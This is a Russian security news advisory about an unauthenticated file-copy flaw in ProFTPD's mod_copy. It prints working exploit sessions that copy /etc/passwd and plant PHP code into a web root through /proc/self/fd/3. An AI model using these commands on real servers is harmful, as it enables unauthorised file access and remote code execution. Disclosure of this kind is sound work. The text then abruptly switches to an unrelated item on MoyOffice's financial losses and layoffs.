Обнаружена опасная уязвимость в ProFTPD

Обнаружена опасная уязвимость в ProFTPD

В ftp-сервере ProFTPD обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя.

Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.

В настоящий момент исправления доступны только в виде патча в git-репозитории проекта. Одновременно для ProFTPD предложена реализация директивы CopyEngine, через которую можно отключить mod_copy без перекомпиляции. В настоящее время в дистрибутивах не зафиксировано обновлений пакетов с устранением проблемы. Оценить появление обновлений в дистрибутивах можно на следующих страницах: RHEL 6, RHEL 7, Ubuntu, Debian, Fedora,openSUSE, SLES, Slackware, Gentoo, CentOS, FreeBSD, пишет opennet.ru.

Пример копирования файла /etc/passwd в /tmp/passwd.copy:

Trying 192.168.3.115...
Connected to 192.168.3.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful

Пример организации запуска кода на web-сервере:

site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful

Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied

Убыток МойОфис вырос почти до 9 млрд рублей после пересдачи отчетности

У «МойОфис» дела идут не очень. Разработчик российского аналога Microsoft Office пересмотрел финансовую отчетность за 2025 год и почти вдвое увеличил размер чистого убытка — с 4 до 8,82 млрд рублей. Исправленная отчётность была опубликована 18 июня.

При этом выручка осталась прежней — 1,02 млрд рублей, что почти на 50% меньше, чем годом ранее.

Причина резкого ухудшения финансового результата — переоценка нематериальных активов. Их стоимость уменьшилась почти на 4,9 млрд рублей, а эта сумма перекочевала в статью «Прочие расходы», из-за чего итоговый убыток фактически удвоился.

В компании уверяют, что это лишь техническая корректировка бухгалтерского учета и она никак не повлияет на дальнейшую работу. По словам представителя НОТ, разработка продуктов продолжается: недавно вышли обновления «Документы настольные» и «МойОфис для дома», а обязательства перед заказчиками выполняются в полном объеме.

Однако независимые юристы и эксперты считают масштаб корректировки весьма необычным. По их мнению, столь серьёзное снижение стоимости нематериальных активов может говорить о пересмотре оценки того, насколько эти разработки способны приносить доход в будущем.

История выглядит особенно показательно на фоне слов Евгения Касперского, который недавно признал, что «МойОфис» остается убыточным активом, а импортозамещение в сегменте офисного ПО не работает. После кратковременного успеха в 2022 году, когда компания вышла в прибыль на фоне ухода Microsoft, финансовые показатели снова начали ухудшаться.

Параллельно в компании идет масштабная реструктуризация. Согласно обновленной отчетности, прекращена разработка Mailion, «МойОфис Почта», Squadus и «Документы Онлайн». Основной фокус теперь сделан на текстовом редакторе, таблицах и презентациях.

По данным профсоюза, с конца марта численность сотрудников сократилась более чем в три раза — примерно с 1073 до 278 человек. В НОТ подтверждают завершение сокращений, но заявляют, что оставшейся команды будет достаточно для дальнейшей разработки ключевых продуктов.

Пока крупнейшими заказчиками «МойОфис» остаются «Росатом» и ВТБ, однако компании явно предстоит доказать рынку, что ставка только на офисный пакет позволит вернуть бизнес к окупаемости.

RSS: Новости на портале Anti-Malware.ru